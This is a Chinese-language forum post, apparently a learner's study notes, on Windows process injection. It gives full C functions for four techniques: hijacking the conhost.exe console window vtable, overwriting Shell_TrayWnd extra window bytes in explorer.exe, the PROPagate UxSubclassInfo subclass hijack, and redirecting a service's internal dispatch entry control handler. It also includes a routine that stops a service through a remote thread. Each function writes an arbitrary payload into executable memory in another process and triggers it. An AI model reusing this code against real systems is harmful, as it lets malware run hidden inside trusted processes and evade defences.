以下是自学习相关进程注入时写的笔记。
控制台应用程序窗口所属于的窗口类为ConsoleWindowClass
,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。
以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。
这个是Conhost中保存的控制台窗口类行为的虚表原型:
typedef struct _vftable_t { ULONG_PTR EnableBothScrollBars; ULONG_PTR UpdateScrollBar; ULONG_PTR IsInFullscreen; ULONG_PTR SetIsFullscreen; ULONG_PTR SetViewportOrigin; ULONG_PTR SetWindowHasMoved; ULONG_PTR CaptureMouse; ULONG_PTR ReleaseMouse; ULONG_PTR GetWindowHandle; ULONG_PTR SetOwner; ULONG_PTR GetCursorPosition; ULONG_PTR GetClientRectangle; ULONG_PTR MapPoints; ULONG_PTR ConvertScreenToClient; ULONG_PTR SendNotifyBeep; ULONG_PTR PostUpdateScrollBars; ULONG_PTR PostUpdateTitleWithCopy; ULONG_PTR PostUpdateWindowSize; ULONG_PTR UpdateWindowSize; ULONG_PTR UpdateWindowText; ULONG_PTR HorizontalScroll; ULONG_PTR VerticalScroll; ULONG_PTR SignalUia; ULONG_PTR UiaSetTextAreaFocus; ULONG_PTR GetWindowRect; } ConsoleWindow;
通过GetWindowLongPtr(hwnd, GWLP_USERDATA);
可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx
即可将对应的虚函数做更改。
整体代码如下:
VOID conhostInject(LPVOID payload, DWORD payloadSize) { HWND hwnd; LONG_PTR udptr; DWORD pid, ppid; SIZE_T wr; HANDLE hp; ConsoleWindow cw; LPVOID cs, ds; ULONG_PTR vTable; // 1. 找到具有ConsoleWindowClass窗口类的窗口句柄 hwnd = FindWindow(L"ConsoleWindowClass", NULL); //通过窗口句柄找到对应进程的PID GetWindowThreadProcessId(hwnd, &ppid); // 2. 通过对比进程名和父进程句柄找到Conhost进程的pid pid = conhostId(ppid); if (pid==0) { printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid); return; } // 3.打开conhost进程 hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址 udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA); ReadProcessMemory(hp, (LPVOID)udptr, (LPVOID)&vTable, sizeof(ULONG_PTR), &wr); // 6. 获取原本的虚表内容 ReadProcessMemory(hp, (LPVOID)vTable, (LPVOID)&cw, sizeof(ConsoleWindow), &wr); // 7. 在conhost进程中申请堆空间保存自定义的虚表内容。 ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。 cw.GetWindowHandle = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr); // 9. 将虚表指针hook WriteProcessMemory(hp, (LPVOID)udptr, &ds, sizeof(ULONG_PTR), &wr); // 10. 发消息测试 SendMessage(hwnd, WM_SETFOCUS, 0, 0); // 11. 更改为原来的虚表指针 WriteProcessMemory(hp, (LPVOID)udptr, &vTable, sizeof(ULONG_PTR), &wr); // 12. 释放内存。 VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
可以看到explorer.exe之中具有窗口类。
和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。
原型:
typedef struct _ctray_vtable { ULONG_PTR vTable; // change to remote memory address ULONG_PTR AddRef; // add reference ULONG_PTR Release; // release procedure ULONG_PTR WndProc; // window procedure (change to payload) } CTray; typedef struct _ctray_obj { CTray *vtbl; } CTrayObj;
代码:
VOID extraBytes(LPVOID payload, DWORD payloadSize){ LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; hw = FindWindow(L"Shell_TrayWnd", NULL); GetWindowThreadProcessId(hw, &pid); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); ctp = GetWindowLongPtr(hw, 0); ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); SetWindowLongPtr(hw, 0, (ULONG_PTR)ds); PostMessage(hw, WM_CLOSE, 0, 0); SetWindowLongPtr(hw, 0, ctp); VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo
或者CC32SubclassInfo
的属性之中;命名名称是根据comctl32.dll的版本来决定的。
版本6.x对应的名称是UxSubclassInfo; 版本5.x对应的名称是CC32SubclassInfo。
当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo
或者CC32SubclassInfo
属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)
这个属性的结构主要如下:
typedef struct _SUBCLASS_CALL { SUBCLASSPROC pfnSubclass; // subclass procedure WPARAM uIdSubclass; // unique subclass identifier DWORD_PTR dwRefData; // optional ref data } SUBCLASS_CALL, PSUBCLASS_CALL; typedef struct _SUBCLASS_FRAME { UINT uCallIndex; // index of next callback to call UINT uDeepestCall; // deepest uCallIndex on stack struct _SUBCLASS_FRAME *pFramePrev; // previous subclass frame pointer struct _SUBCLASS_HEADER *pHeader; // header associated with this frame } SUBCLASS_FRAME, PSUBCLASS_FRAME; typedef struct _SUBCLASS_HEADER { UINT uRefs; // subclass count UINT uAlloc; // allocated subclass call nodes UINT uCleanup; // index of call node to clean up DWORD dwThreadId; // thread id of window we are hooking SUBCLASS_FRAME *pFrameCur; // current subclass frame pointer SUBCLASS_CALL CallArray[1]; // base of packed call node array } SUBCLASS_HEADER, *PSUBCLASS_HEADER;
32位系统下可以看到在偏移0x18的处保存的窗口过程。
只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,
在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。
VOID propagate(LPVOID payload, DWORD payloadSize) { HANDLE hp, p; DWORD id; HWND pwh, cwh; SUBCLASS_HEADER sh; LPVOID psh, pfnSubclass; SIZE_T rd,wr; // 1. Obtain the parent window handle pwh = FindWindow(L"Progman", NULL); // 2. Obtain the child window handle cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL); // 3. Obtain the handle of subclass header p = GetProp(cwh, L"UxSubclassInfo"); // GetProcessHandleFromHwnd // 4. Obtain the process id for the explorer.exe GetWindowThreadProcessId(cwh, &id); // 5. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 6. Read the contents of current subclass header ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd); // 7. Allocate RW memory for a new subclass header psh = VirtualAllocEx(hp, NULL, sizeof(sh), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // 8. Allocate RWX memory for the payload pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 9. Write the payload to memory WriteProcessMemory(hp, pfnSubclass, payload, payloadSize, &wr); // 10. Set the pfnSubclass field to payload address, and write // back to process in new area of memory sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass; WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr); // 11. update the subclass procedure with SetProp SetProp(cwh, L"UxSubclassInfo", psh); // 12. Trigger the payload via a windows message PostMessage(cwh, WM_CLOSE, 0, 0); // 13. Restore original subclass header SetProp(cwh, L"UxSubclassInfo", p); // 14. free memory and close handles VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。(PS:以上是谷歌翻译的结果,这个描述怎么这么像SCM???)
Win 7的IDE结构
typedef struct _INTERNAL_DISPATCH_ENTRY { LPWSTR ServiceName; LPWSTR ServiceRealName; LPSERVICE_MAIN_FUNCTION ServiceStartRoutine; LPHANDLER_FUNCTION_EX ControlHandler; HANDLE StatusHandle; DWORD ServiceFlags; DWORD Tag; HANDLE MainThreadHandle; DWORD dwReserved; } INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
Win10的IDE结构
typedef struct _INTERNAL_DISPATCH_ENTRY { LPWSTR ServiceName; LPWSTR ServiceRealName; LPWSTR ServiceName2; // Windows 10 LPSERVICE_MAIN_FUNCTION ServiceStartRoutine; LPHANDLER_FUNCTION_EX ControlHandler; HANDLE StatusHandle; DWORD64 ServiceFlags; // 64-bit on windows 10 DWORD64 Tag; HANDLE MainThreadHandle; DWORD64 dwReserved; DWORD64 dwReserved2; } INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
通过HOOK IDE的ControlHandler字段,可以实现进程注入。
具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。
具体代码如下:
VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) { SIZE_T wr; SC_HANDLE hm, hs; INTERNAL_DISPATCH_ENTRY ide; HANDLE hp; LPVOID cs; SERVICE_STATUS ss; wprintf(L"[*] Attempting to inject PIC into \"%s\"...\n", se->process); // open the service control manager hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (hm != NULL) { // open target service hs = OpenService(hm, se->service, SERVICE_INTERROGATE); if (hs != NULL) { // open target process hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid); if (hp != NULL) { // allocate memory for payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (cs) { // write payload to process space WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // create backup of IDE memcpy(&ide, &se->ide, sizeof(ide)); // point ControlHandler to payload ide.ControlHandler = cs; // change flags ide.ServiceFlags = SERVICE_CONTROL_INTERROGATE; // update IDE in remote process WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr); // trigger payload wprintf(L"[*] Set a breakpoint on %p\n", cs); getchar(); ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss); xstrerror(L"ControlService"); // free payload from memory VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE); // restore original IDE WriteProcessMemory(hp, se->ide_addr, &se->ide, sizeof(ide), &wr); } else xstrerror(L"VirtualAllocEx"); CloseHandle(hp); // close process } else xstrerror(L"OpenProcess"); CloseServiceHandle(hs); // close service } else xstrerror(L"OpenService"); CloseServiceHandle(hm); // close manager } }
其也可以通过远程创建线程的方式关闭服务。
BOOL StopService(PSERVICE_ENTRY se){ DWORD evt; HANDLE hThread, hProcess; RtlCreateUserThread_t pRtlCreateUserThread; BOOL bResult=FALSE; wprintf(L"[*] Attempting to stop service...\n"); hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid); if(hProcess == NULL) { xstrerror(L"StopService::OpenProcess"); return 0; } // resolve address of RtlCreateUserThread // CreateRemoteThread won't work here.. pRtlCreateUserThread= (RtlCreateUserThread_t)GetProcAddress( LoadLibrary(L"ntdll"), "RtlCreateUserThread"); // got it? if (pRtlCreateUserThread!=NULL) { // execute the ControlHandler in remote process space pRtlCreateUserThread(hProcess, NULL, FALSE, 0, NULL, NULL, se->ide.ControlHandler, (LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL); bResult = (hThread != NULL); // if thread created if (bResult) { // wait 5 seconds for termination evt = WaitForSingleObject(hThread, 5*1000); bResult = (evt == WAIT_OBJECT_0); CloseHandle(hThread); } wprintf(L"[*] Service %s stopped.\n", bResult ? L"successfully" : L"unsuccessfully"); } CloseHandle(hProcess); return bResult; }
参考文章
最后于 2小时前 被不懂就不懂编辑 ,原因: